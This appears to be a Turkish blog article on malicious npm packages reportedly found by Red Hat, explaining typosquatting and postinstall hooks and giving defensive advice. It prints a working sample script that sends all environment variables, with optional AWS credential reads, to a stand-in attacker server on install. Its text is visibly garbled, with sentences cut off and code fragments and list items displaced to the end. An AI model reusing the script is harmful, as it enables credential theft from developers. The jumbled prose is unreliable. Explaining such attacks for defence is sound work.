Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131 g\u00fcn\u00fcm\u00fcz\u00fcn en b\u00fcy\u00fck siber g\u00fcvenlik tehditlerinden biri haline geldi. Red Hat’in npm \u00fczerindeki k\u00f6t\u00fc niyetli paketleri tespit etmesi, bu riskin ne kadar ger\u00e7ek oldu\u011funu bir kez daha g\u00f6sterdi. Peki, bu olay tam olarak neydi ve geli\u015ftiriciler kendilerini nas\u0131l koruyabilir?<\/p>\n
Modern yaz\u0131l\u0131m geli\u015ftirme s\u00fcre\u00e7leri, genellikle a\u00e7\u0131k kaynakl\u0131 k\u00fct\u00fcphanelere ve paketlere dayan\u0131r. Bu ba\u011f\u0131ml\u0131l\u0131klar, geli\u015ftirme h\u0131z\u0131n\u0131 art\u0131r\u0131rken ayn\u0131 zamanda projelere d\u0131\u015far\u0131dan gelen g\u00fcvenlik risklerini de beraberinde getirir. Red Hat’in 2023 Mart ay\u0131nda npm (Node Package Manager) \u00fczerinde tespit etti\u011fi k\u00f6t\u00fc niyetli paketler, bu ba\u011f\u0131ml\u0131l\u0131klar\u0131n ne kadar kritik olabilece\u011fini ve k\u00f6t\u00fc niyetli akt\u00f6rler taraf\u0131ndan nas\u0131l istismar edilebilece\u011fini g\u00f6zler \u00f6n\u00fcne serdi. Bu olay, sadece Red Hat’i de\u011fil, t\u00fcm geli\u015ftirme toplulu\u011funu yak\u0131ndan ilgilendiren \u00f6nemli dersler i\u00e7eriyor. Geli\u015ftiriciler olarak, kulland\u0131\u011f\u0131m\u0131z her bir paketin arkas\u0131ndaki potansiyel riskleri anlamak ve proaktif g\u00fcvenlik \u00f6nlemleri almak art\u0131k bir tercih de\u011fil, zorunluluktur. Bu makalede, Red Hat npm olay\u0131n\u0131n detaylar\u0131n\u0131 inceleyecek, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n do\u011fas\u0131n\u0131 anlayacak ve kendinizi ve projelerinizi bu t\u00fcr tehditlerden korumak i\u00e7in atman\u0131z gereken ad\u0131mlar\u0131 ad\u0131m ad\u0131m ele alaca\u011f\u0131z.<\/p>\n
2023 y\u0131l\u0131n\u0131n Mart ay\u0131nda Red Hat’in g\u00fcvenlik ekibi, npm paket y\u00f6neticisi \u00fczerinde iki kritik k\u00f6t\u00fc niyetli paketi tespit etti: Bu olay\u0131n \u00f6nemi birka\u00e7 a\u00e7\u0131dan ele al\u0131nabilir. \u00d6ncelikle, npm ekosistemi, JavaScript ve Node.js projelerinin temelini olu\u015fturur ve milyonlarca geli\u015ftirici taraf\u0131ndan her g\u00fcn binlerce paketin indirilip kullan\u0131ld\u0131\u011f\u0131 devasa bir platformdur. Bu nedenle, npm \u00fczerinde ortaya \u00e7\u0131kan herhangi bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131 veya k\u00f6t\u00fc niyetli aktivite, potansiyel olarak geni\u015f bir kullan\u0131c\u0131 kitlesini etkileyebilir. \u0130kincisi, \u00e7al\u0131nan verilerin do\u011fas\u0131 olduk\u00e7a hassast\u0131. Ortam de\u011fi\u015fkenleri, API anahtarlar\u0131, veritaban\u0131 ba\u011flant\u0131 bilgileri, bulut hizmeti kimlik bilgileri gibi kritik bilgileri i\u00e7erebilir. Bu t\u00fcr verilerin ele ge\u00e7irilmesi, ciddi veri ihlallerine, finansal kay\u0131plara ve sistemlerin tamamen ele ge\u00e7irilmesine yol a\u00e7abilir. \u00dc\u00e7\u00fcnc\u00fcs\u00fc, bu olay, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n ne kadar sofistike hale geldi\u011fini ve sadece b\u00fcy\u00fck kurumsal sistemleri de\u011fil, bireysel geli\u015ftiricileri bile hedef alabildi\u011fini g\u00f6sterdi. Bir paketi indirip kurmak gibi rutin bir i\u015flem, fark\u0131nda olmadan bir g\u00fcvenlik felaketine d\u00f6n\u00fc\u015febilirdi.<\/p>\n Red Hat’in tespiti ve h\u0131zl\u0131 m\u00fcdahalesi sayesinde bu paketler k\u0131sa s\u00fcrede npm’den kald\u0131r\u0131lm\u0131\u015f olsa da, olay, geli\u015ftiricilerin ve kurumlar\u0131n yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fine bak\u0131\u015f a\u00e7\u0131s\u0131n\u0131 temelden de\u011fi\u015ftirmesi gerekti\u011fini bir kez daha vurgulad\u0131. Daha \u00f6nceki benzer olaylar, \u00f6rne\u011fin 2018’deki Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131, bir yaz\u0131l\u0131m\u0131n geli\u015ftirilmesi, da\u011f\u0131t\u0131lmas\u0131 veya g\u00fcncellenmesi a\u015famalar\u0131ndan herhangi birinde k\u00f6t\u00fc niyetli kodun veya i\u015flevselli\u011fin sisteme s\u0131zd\u0131r\u0131lmas\u0131 anlam\u0131na gelir. Bu sald\u0131r\u0131lar, sadece son kullan\u0131c\u0131lar\u0131 de\u011fil, yaz\u0131l\u0131m\u0131 geli\u015ftiren, da\u011f\u0131tan ve kullanan t\u00fcm payda\u015flar\u0131 etkileyebilir. Modern yaz\u0131l\u0131m geli\u015ftirme ekosistemleri, bir\u00e7ok farkl\u0131 bile\u015fenden (a\u00e7\u0131k kaynak k\u00fct\u00fcphaneleri, ticari \u00fcr\u00fcnler, ba\u011f\u0131ml\u0131l\u0131klar, derleyiciler, derleme ara\u00e7lar\u0131 vb.) olu\u015ftu\u011fu i\u00e7in, sald\u0131rganlar bu zincirin herhangi bir halkas\u0131na odaklanabilirler. Paket y\u00f6neticileri (Node.js i\u00e7in npm, Python i\u00e7in pip, Java i\u00e7in Maven, .NET i\u00e7in NuGet gibi), bu zincirin en kritik ve en \u00e7ok hedef al\u0131nan noktalar\u0131ndan biridir, \u00e7\u00fcnk\u00fc geli\u015ftiriciler projelerine yeni i\u015flevsellik eklerken s\u00fcrekli olarak bu platformlardan paketler indirirler.<\/p>\n Bu t\u00fcr sald\u0131r\u0131lar genellikle \u00e7e\u015fitli vekt\u00f6rler arac\u0131l\u0131\u011f\u0131yla ger\u00e7ekle\u015fir:<\/p>\n Red Hat olay\u0131nda, \u00f6zellikle Tiposquatting ve k\u00f6t\u00fc niyetli kod enjeksiyonu tekniklerinin bir kombinasyonu kullan\u0131ld\u0131. Sald\u0131rganlar, geli\u015ftiricilerin yayg\u0131n olarak kulland\u0131\u011f\u0131 ara\u00e7lar\u0131n isimlerini taklit ederek, masum g\u00f6r\u00fcnen paketler arac\u0131l\u0131\u011f\u0131yla sistemlere s\u0131zmaya \u00e7al\u0131\u015ft\u0131lar. Bu, bir paketi indirmenin ne kadar basit ama potansiyel olarak tehlikeli bir eylem olabilece\u011fini a\u00e7\u0131k\u00e7a g\u00f6steriyor. Bu t\u00fcr sald\u0131r\u0131lar, sadece geli\u015ftirme ortam\u0131n\u0131 de\u011fil, nihai \u00fcr\u00fcnlerin ve bunlar\u0131 kullanan son kullan\u0131c\u0131lar\u0131n g\u00fcvenli\u011fini de do\u011frudan etkileyebilir.<\/p>\n Red Hat npm olay\u0131nda tespit edilen k\u00f6t\u00fc niyetli paketler, siber sald\u0131rganlar\u0131n s\u0131kl\u0131kla ba\u015fvurdu\u011fu iki temel tekni\u011fi bir araya getirmi\u015fti: Tiposquatting ve k\u00f6t\u00fc niyetli kod enjeksiyonu. Bu iki y\u00f6ntem, geli\u015ftiricilerin dikkatini da\u011f\u0131tarak ve rutin i\u015flemlerin aras\u0131na gizlenerek hedeflerine ula\u015fmay\u0131 ama\u00e7lar.<\/p>\n Tiposquatting (Yaz\u0131m Hatas\u0131 Tuza\u011f\u0131)<\/strong><\/p>\n Tiposquatting, ad\u0131ndan da anla\u015f\u0131laca\u011f\u0131 gibi, yaz\u0131m hatalar\u0131ndan faydalanma prensibine dayan\u0131r. Sald\u0131rganlar, pop\u00fcler ve yayg\u0131n olarak kullan\u0131lan bir npm paketinin ad\u0131n\u0131 dikkatlice inceler ve ona \u00e7ok benzeyen, ancak k\u00f6t\u00fc niyetli bir paket olu\u015fturur. \u00d6rne\u011fin, resmi bir paketin ad\u0131 K\u00f6t\u00fc Niyetli Kod Enjeksiyonu ve Tiposquatting ile paketin sisteme y\u00fcklenmesi sa\u011fland\u0131ktan sonra, k\u00f6t\u00fc niyetli kodun \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 gerekir. npm paketleri, kurulum (install) veya kurulum sonras\u0131 (postinstall) gibi belirli ya\u015fam d\u00f6ng\u00fcs\u00fc olaylar\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131lacak script’ler tan\u0131mlayabilir. \u0130\u015fte bu nokta, k\u00f6t\u00fc niyetli kod enjeksiyonunun devreye girdi\u011fi yerdir. Sald\u0131rganlar, paketlerine, kurulum tamamland\u0131ktan hemen sonra otomatik olarak \u00e7al\u0131\u015facak bir \u00d6rnek olarak, k\u00f6t\u00fc niyetli bir Bu Yukar\u0131daki \u00f6rnek script, ortam de\u011fi\u015fkenlerini al\u0131p HTTPS \u00fczerinden k\u00f6t\u00fc niyetli bir sunucuya g\u00f6ndermeyi ama\u00e7lar. Bu i\u015flem genellikle sessizce ve arka planda ger\u00e7ekle\u015fti\u011fi i\u00e7in, kullan\u0131c\u0131lar paketin kuruldu\u011funu d\u00fc\u015f\u00fcn\u00fcrken asl\u0131nda hassas verileri s\u0131zd\u0131r\u0131lm\u0131\u015f olur. Red Hat olay\u0131nda Red Hat npm olay\u0131 gibi vakalar, geli\u015ftiricilerin yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fine daha bilin\u00e7li yakla\u015fmas\u0131 gerekti\u011fini g\u00f6steriyor. Ancak endi\u015felenmeye gerek yok; alabilece\u011finiz pratik ad\u0131mlar ve kullanabilece\u011finiz ara\u00e7lar mevcut. \u0130\u015fte kendinizi ve projelerinizi korumak i\u00e7in uygulayabilece\u011finiz temel g\u00fcvenlik \u00f6nlemleri:<\/p>\n Bu ad\u0131mlar, geli\u015ftiricilerin g\u00fcnl\u00fck i\u015f ak\u0131\u015flar\u0131na entegre edebilece\u011fi pratik ve etkili y\u00f6ntemlerdir. G\u00fcvenlik, tek seferlik bir i\u015flem de\u011fil, s\u00fcrekli bir s\u00fcre\u00e7tir ve bu ad\u0131mlar\u0131 d\u00fczenli olarak uygulamak, projelerinizin g\u00fcvenli\u011fini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131racakt\u0131r.<\/p>\n Bireysel geli\u015ftiricilerin alabilece\u011fi \u00f6nlemlerin yan\u0131 s\u0131ra, b\u00fcy\u00fck kurulu\u015flar ve yaz\u0131l\u0131m \u015firketleri i\u00e7in daha kapsaml\u0131 tedarik zinciri g\u00fcvenli\u011fi stratejileri geli\u015ftirmek hayati \u00f6nem ta\u015f\u0131r. Kurumsal d\u00fczeyde at\u0131lacak ad\u0131mlar, sadece tekil sald\u0131r\u0131lar\u0131 \u00f6nlemekle kalmaz, ayn\u0131 zamanda geni\u015f \u00e7apl\u0131 sistemik riskleri de minimize eder.<\/p>\n Kurumsal d\u00fczeyde bu stratejilerin uygulanmas\u0131, sadece Red Hat npm olay\u0131 gibi spesifik tehditlere kar\u015f\u0131 de\u011fil, genel olarak siber g\u00fcvenlik risklerine kar\u015f\u0131 daha diren\u00e7li bir yap\u0131 olu\u015fturulmas\u0131na olanak tan\u0131r. G\u00fcvenlik, bir \u00fcr\u00fcn\u00fcn veya hizmetin kalitesinin ayr\u0131lmaz bir par\u00e7as\u0131 olarak g\u00f6r\u00fclmeli ve t\u00fcm organizasyonel s\u00fcre\u00e7lere entegre edilmelidir.<\/p>\n Red Hat npm olay\u0131, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011finin ne kadar dinamik ve s\u00fcrekli geli\u015fen bir alan oldu\u011funu bir kez daha kan\u0131tlad\u0131. Bu olaydan \u00e7\u0131kar\u0131lan dersler, hem bireysel geli\u015ftiriciler hem de b\u00fcy\u00fck kurulu\u015flar i\u00e7in yol g\u00f6sterici niteliktedir ve gelece\u011fe y\u00f6nelik g\u00fcvenlik stratejilerinin temelini olu\u015fturmal\u0131d\u0131r.<\/p>\n Red Hat npm olay\u0131, siber g\u00fcvenlik d\u00fcnyas\u0131nda bir d\u00f6n\u00fcm noktas\u0131 olarak kabul edilebilir. Geli\u015ftiricilerin ve kurumlar\u0131n, yaz\u0131l\u0131m tedarik zincirinin k\u0131r\u0131lganl\u0131\u011f\u0131n\u0131 anlamas\u0131 ve bu k\u0131r\u0131lganl\u0131\u011f\u0131 gidermek i\u00e7in ortak bir \u00e7aba sarf etmesi gerekti\u011fini g\u00fc\u00e7l\u00fc bir \u015fekilde hat\u0131rlatt\u0131. Gelecekteki sald\u0131r\u0131lara kar\u015f\u0131 en iyi savunma, s\u00fcrekli \u00f6\u011frenme, adaptasyon ve i\u015fbirli\u011finden ge\u00e7mektedir.<\/p>\n Red Hat’in npm \u00fczerindeki k\u00f6t\u00fc niyetli paketleri tespit etmesi, modern yaz\u0131l\u0131m geli\u015ftirmenin temelini olu\u015fturan a\u00e7\u0131k kaynak ekosistemindeki g\u00fcvenlik risklerinin alt\u0131n\u0131 bir kez daha \u00e7izdi. Tiposquatting ve npm, milyonlarca paketi bar\u0131nd\u0131ran devasa bir ekosistemdir. Bu paketlerin \u00e7o\u011fu a\u00e7\u0131k kaynakl\u0131d\u0131r ve herhangi biri taraf\u0131ndan yay\u0131nlanabilir. Bu a\u00e7\u0131kl\u0131k, geli\u015ftirme h\u0131z\u0131n\u0131 art\u0131r\u0131rken ayn\u0131 zamanda k\u00f6t\u00fc niyetli akt\u00f6rlerin araya k\u00f6t\u00fc niyetli kod s\u0131zd\u0131rmas\u0131 i\u00e7in de bir f\u0131rsat yarat\u0131r. Bir paketin ba\u011f\u0131ml\u0131l\u0131klar\u0131 arac\u0131l\u0131\u011f\u0131yla bile dolayl\u0131 yoldan riskler ta\u015f\u0131nabilir.<\/p>\n<\/li>\n Paketi kullanmadan \u00f6nce bak\u0131mc\u0131s\u0131n\u0131n kim oldu\u011funu, projenin GitHub deposunu, indirme say\u0131lar\u0131n\u0131 ve topluluk yorumlar\u0131n\u0131 inceleyin. Hassas ortam de\u011fi\u015fkenlerini (API anahtarlar\u0131, \u015fifreler) do\u011frudan komut sat\u0131r\u0131nda veya a\u00e7\u0131k metin dosyalar\u0131nda tutmaktan ka\u00e7\u0131n\u0131n. Bunun yerine, gizli y\u00f6netim sistemleri (\u00f6rne\u011fin HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) kullan\u0131n. Geli\u015ftirme ortam\u0131n\u0131zda minimum ayr\u0131cal\u0131k prensibini uygulay\u0131n ve her zaman iki fakt\u00f6rl\u00fc kimlik do\u011frulamay\u0131 etkinle\u015ftirin.<\/p>\n<\/li>\n Mevcut projelerinizde d\u00fczenli olarak Kurumsal d\u00fczeyde ilk ad\u0131m, mevcut yaz\u0131l\u0131m envanterinizi \u00e7\u0131karmak (SBOM olu\u015fturmak) ve t\u00fcm ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131z\u0131 anlamakt\u0131r. Ard\u0131ndan, bir risk de\u011ferlendirmesi yaparak en kritik risk alanlar\u0131n\u0131 belirleyin. \u00d6zel paket kay\u0131tlar\u0131 kurmak, otomatik g\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131 entegre etmek ve geli\u015ftiricilere d\u00fczenli g\u00fcvenlik e\u011fitimleri vermek, ba\u015flang\u0131\u00e7 i\u00e7in g\u00fc\u00e7l\u00fc ad\u0131mlard\u0131r.<\/p>\n<\/li>\n<\/ol>\n #Teknoloji #WebGeli\u015ftirme #SiberG\u00fcvenlik #npm #RedHat<\/p>\ncreate-sst<\/code> ve esbuild-linux-64<\/code>. Bu paketler, masum g\u00f6r\u00fcn\u00fcmlerinin aksine, kullan\u0131c\u0131lar\u0131n ortam de\u011fi\u015fkenlerini (environment variables) ve di\u011fer hassas verilerini \u00e7almak \u00fczere tasarlanm\u0131\u015ft\u0131. Olay\u0131n \u00f6z\u00fc, bir geli\u015ftiricinin pop\u00fcler bir komut sat\u0131r\u0131 arac\u0131 veya k\u00fct\u00fcphane ad\u0131 ile benzer, ancak k\u00f6t\u00fc niyetli bir paketi yanl\u0131\u015fl\u0131kla y\u00fcklemesi \u00fczerine kurulu bir sald\u0131r\u0131 stratejisiydi. Sald\u0131rganlar, me\u015fru paket isimlerini taklit ederek veya \u00e7ok benzer isimler kullanarak, geli\u015ftiricileri tuza\u011fa d\u00fc\u015f\u00fcrmeyi ama\u00e7l\u0131yorlard\u0131. \u00d6rne\u011fin, ger\u00e7ek bir paketin ad\u0131 create-something<\/code> iken, sald\u0131rganlar create-somthing<\/code> gibi yaz\u0131m hatas\u0131 i\u00e7eren bir isimle k\u00f6t\u00fc niyetli paketlerini yay\u0131nlayabiliyorlard\u0131.<\/p>\nevent-stream<\/code> paketi olay\u0131nda, bir paketin i\u00e7ine k\u00f6t\u00fc niyetli kod enjekte edilmesi veya 2021’deki coa<\/code> ve rc<\/code> paketlerinin hesap ele ge\u00e7irme yoluyla ele ge\u00e7irilmesi gibi vakalar, bu t\u00fcr sald\u0131r\u0131lar\u0131n s\u00fcrekli bir tehdit oldu\u011funu kan\u0131tlam\u0131\u015ft\u0131. Red Hat olay\u0131, bu tehdidin g\u00fcncelli\u011fini korudu\u011funu ve s\u00fcrekli tetikte olman\u0131n gereklili\u011fini hat\u0131rlatan \u00f6nemli bir uyar\u0131 niteli\u011findeydi.<\/p>\nYaz\u0131l\u0131m Tedarik Zinciri Sald\u0131r\u0131lar\u0131 Nelerdir ve Nas\u0131l Ger\u00e7ekle\u015fir?<\/h3>\n
\n
create-sst<\/code> paketinin bu kategoriye girdi\u011fi d\u00fc\u015f\u00fcn\u00fclmektedir.<\/li>\ncoa<\/code> ve rc<\/code> npm paketlerinin ba\u015f\u0131na gelen buydu.<\/li>\nRed Hat Olay\u0131nda Kullan\u0131lan Teknikler: Tiposquatting ve K\u00f6t\u00fc Niyetli Kod Enjeksiyonu<\/h3>\n
@angular\/cli<\/code> iken, sald\u0131rganlar @angulr\/cli<\/code> veya angular-cli-package<\/code> gibi isimler kullanabilirler. Geli\u015ftiriciler, genellikle komut sat\u0131r\u0131nda h\u0131zl\u0131ca yazarken veya kopyala-yap\u0131\u015ft\u0131r yaparken bu k\u00fc\u00e7\u00fck farklar\u0131 g\u00f6zden ka\u00e7\u0131rabilirler. Red Hat olay\u0131nda, create-sst<\/code> paketi, ger\u00e7ek ve pop\u00fcler bir paketin ad\u0131n\u0131 taklit ederek bu y\u00f6ntemi kullanm\u0131\u015f olabilir. Bir geli\u015ftirici, npm install create-sst<\/code> yerine, yanl\u0131\u015fl\u0131kla benzer isimdeki k\u00f6t\u00fc niyetli paketi y\u00fckleyebilir ve sald\u0131rganlara kap\u0131 aralayabilir.<\/p>\npostinstall<\/code> Scriptleri<\/strong><\/p>\npostinstall<\/code> script’i eklerler. Bu script, genellikle arka planda sessizce \u00e7al\u0131\u015f\u0131r ve hassas verileri toplar veya ba\u015fka k\u00f6t\u00fc niyetli eylemleri ger\u00e7ekle\u015ftirir.<\/p>\npackage.json<\/code> dosyas\u0131 \u015fu \u015fekilde g\u00f6r\u00fcnebilir:<\/p>\n\n{\n \"name\": \"malicious-package\",\n \"version\": \"1.0.0\",\n \"description\": \"Bu paket, projenize harika bir \u00f6zellik ekler!\",\n \"scripts\": {\n \"postinstall\": \"node .\/collect-data.js\"\n }\n}\n<\/code><\/pre>\n<\/div>\npackage.json<\/code> dosyas\u0131nda, paket kurulur kurulmaz collect-data.js<\/code> adl\u0131 bir Node.js script’inin \u00e7al\u0131\u015ft\u0131r\u0131laca\u011f\u0131 belirtilmi\u015ftir. Bu script’in i\u00e7eri\u011fi ise, Red Hat olay\u0131nda oldu\u011fu gibi, kullan\u0131c\u0131n\u0131n ortam de\u011fi\u015fkenlerini (process.env<\/code>) veya di\u011fer hassas dosyalar\u0131 okuyup, bunlar\u0131 sald\u0131rgan\u0131n kontrol\u00fcndeki bir sunucuya g\u00f6ndermek \u00fczere tasarlanm\u0131\u015f olabilir. \u00d6rne\u011fin:<\/p>\n\n\/\/ collect-data.js\nconst fs = require('fs');\nconst https = require('https'); \/\/ Hassas verileri g\u00fcvenli bir \u015fekilde g\u00f6ndermek i\u00e7in\n\n\/\/ Ortam de\u011fi\u015fkenlerini toplama\nconst sensitiveData = JSON.stringify(process.env);\n\n\/\/ Di\u011fer potansiyel hassas dosyalar\u0131 okuma (\u00f6rne\u011fin .aws\/credentials, .kube\/config)\n\/\/ Bu k\u0131s\u0131m sald\u0131r\u0131n\u0131n sofistikeli\u011fine g\u00f6re de\u011fi\u015febilir.\n\/\/ const awsCredentialsPath = path.join(os.homedir(), '.aws', 'credentials');\n\/\/ if (fs.existsSync(awsCredentialsPath)) {\n\/\/ sensitiveData += '\\nAWS Credentials:\\n' + fs.readFileSync(awsCredentialsPath, 'utf8');\n\/\/ }\n\n\/\/ Toplanan veriyi sald\u0131rgan\u0131n sunucusuna g\u00f6nderme\nconst options = {\n hostname: 'attacker-controlled-server.com', \/\/ Sald\u0131rgan\u0131n sunucusu\n port: 443,\n path: '\/upload',\n method: 'POST',\n headers: {\n 'Content-Type': 'application\/json',\n 'Content-Length': Buffer.byteLength(sensitiveData)\n }\n};\n\nconst req = https.request(options, (res) => {\n console.log(STATUS: ${res.statusCode}<\/code>);\n res.on('data', (d) => {\n process.stdout.write(d);\n });\n});\n\nreq.on('error', (e) => {\n console.error(problem with request: ${e.message}<\/code>);\n});\n\nreq.write(sensitiveData);\nreq.end();\n\nconsole.log('Paket ba\u015far\u0131yla kuruldu ve ba\u015flat\u0131ld\u0131.'); \/\/ Kullan\u0131c\u0131y\u0131 yan\u0131ltmak i\u00e7in\n<\/code><\/pre>\n<\/div>\nesbuild-linux-64<\/code> gibi paketlerin de benzer bir mekanizma ile \u00e7al\u0131\u015ft\u0131\u011f\u0131 ve Linux sistemlerdeki ortam de\u011fi\u015fkenlerini hedef ald\u0131\u011f\u0131 belirtilmi\u015ftir. Bu t\u00fcr sald\u0131r\u0131lar, geli\u015ftirme ortamlar\u0131n\u0131n ve CI\/CD s\u00fcre\u00e7lerinin g\u00fcvenli\u011fi i\u00e7in ciddi bir tehdit olu\u015fturur.<\/p>\nGeli\u015ftiriciler Kendilerini Nas\u0131l Koruyabilir? Pratik G\u00fcvenlik Ad\u0131mlar\u0131<\/h3>\n
\n
\n
event-stream<\/code> gibi olaylar, pop\u00fcler paketlerin bile tehlikeye at\u0131labilece\u011fini g\u00f6stermi\u015ftir.<\/li>\n<\/ul>\n<\/li>\n\n
npm audit<\/code> ve yarn audit<\/code>:<\/strong> Bu yerle\u015fik komutlar, projenizdeki ba\u011f\u0131ml\u0131l\u0131klarda bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 tarar ve size rapor sunar. D\u00fczenli olarak bu komutlar\u0131 \u00e7al\u0131\u015ft\u0131rmak, potansiyel zafiyetleri erken a\u015famada tespit etmenizi sa\u011flar.\n\nnpm audit\n# veya\nyarn audit\n <\/code><\/pre>\n<\/p><\/div>\n<\/li>\n\n
package-lock.json<\/code> ve yarn.lock<\/code> Dosyalar\u0131n\u0131n \u00d6nemi:<\/strong>\n\n
\n
\n
postinstall<\/code> veya preinstall<\/code> script’leri i\u00e7eren paketlerde, kodunu manuel olarak incelemek faydal\u0131 olabilir. \u015e\u00fcpheli a\u011f istekleri, dosya sistemi eri\u015fimi veya gizli komut \u00e7al\u0131\u015ft\u0131rmalar\u0131 aray\u0131n.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\nKurumsal D\u00fczeyde Tedarik Zinciri G\u00fcvenli\u011fi Stratejileri<\/h3>\n
\n
\n
\n
\n
\n
\n
\n
Red Hat Olay\u0131ndan \u00c7\u0131kar\u0131lan Dersler ve Gelece\u011fe Y\u00f6nelik \u00d6neriler<\/h3>\n
\n
\n
\n
\n
\n
\n
Sonu\u00e7<\/h3>\n
postinstall<\/code> scriptleri arac\u0131l\u0131\u011f\u0131yla hassas verileri \u00e7almay\u0131 hedefleyen bu sald\u0131r\u0131, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011finin ne denli kritik oldu\u011funu ve her geli\u015ftiricinin bu konuda bilin\u00e7li olmas\u0131 gerekti\u011fini g\u00f6sterdi. Makalemizde, bu olay\u0131n detaylar\u0131n\u0131, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n genel yap\u0131s\u0131n\u0131 ve bu t\u00fcr tehditlerden korunmak i\u00e7in hem bireysel hem de kurumsal d\u00fczeyde al\u0131nabilecek pratik \u00f6nlemleri ele ald\u0131k. G\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131n kullan\u0131m\u0131, paketlerin dikkatli incelenmesi, minimum ayr\u0131cal\u0131k prensibi ve DevSecOps yakla\u015f\u0131mlar\u0131, gelecekteki sald\u0131r\u0131lara kar\u015f\u0131 daha diren\u00e7li bir ekosistem olu\u015fturman\u0131n anahtarlar\u0131d\u0131r. Unutmayal\u0131m ki, siber g\u00fcvenlik s\u00fcrekli bir yolculuktur ve bu yolculukta uyan\u0131k kalmak, \u00f6\u011frenmek ve i\u015fbirli\u011fi yapmak hepimizin sorumlulu\u011fundad\u0131r.<\/p>\nS\u0131k\u00e7a Sorulan Sorular (SSS)<\/h3>\n
\n
npm audit<\/code> gibi ara\u00e7larla bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kontrol edin. \u00c7ok kritik paketler i\u00e7in kodunu manuel olarak incelemek, \u00f6zellikle scripts<\/code> b\u00f6l\u00fcm\u00fcnde preinstall<\/code> veya postinstall<\/code> gibi script’ler varsa, faydal\u0131 olabilir.<\/p>\n<\/li>\nnpm audit<\/code> veya yarn audit<\/code> komutlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131r\u0131n. Snyk veya Dependabot gibi \u00fc\u00e7\u00fcnc\u00fc taraf g\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131 CI\/CD s\u00fcre\u00e7lerinize entegre edin. Ayr\u0131ca, a\u011f trafi\u011finizi izleyerek veya dosya sistemi eri\u015fim g\u00fcnl\u00fcklerini kontrol ederek \u015f\u00fcpheli davran\u0131\u015flar\u0131 (\u00f6rne\u011fin, beklenmedik d\u0131\u015f ba\u011flant\u0131lar, hassas dosyalara eri\u015fim) tespit etmeye \u00e7al\u0131\u015fabilirsiniz.<\/p>\n<\/li>\n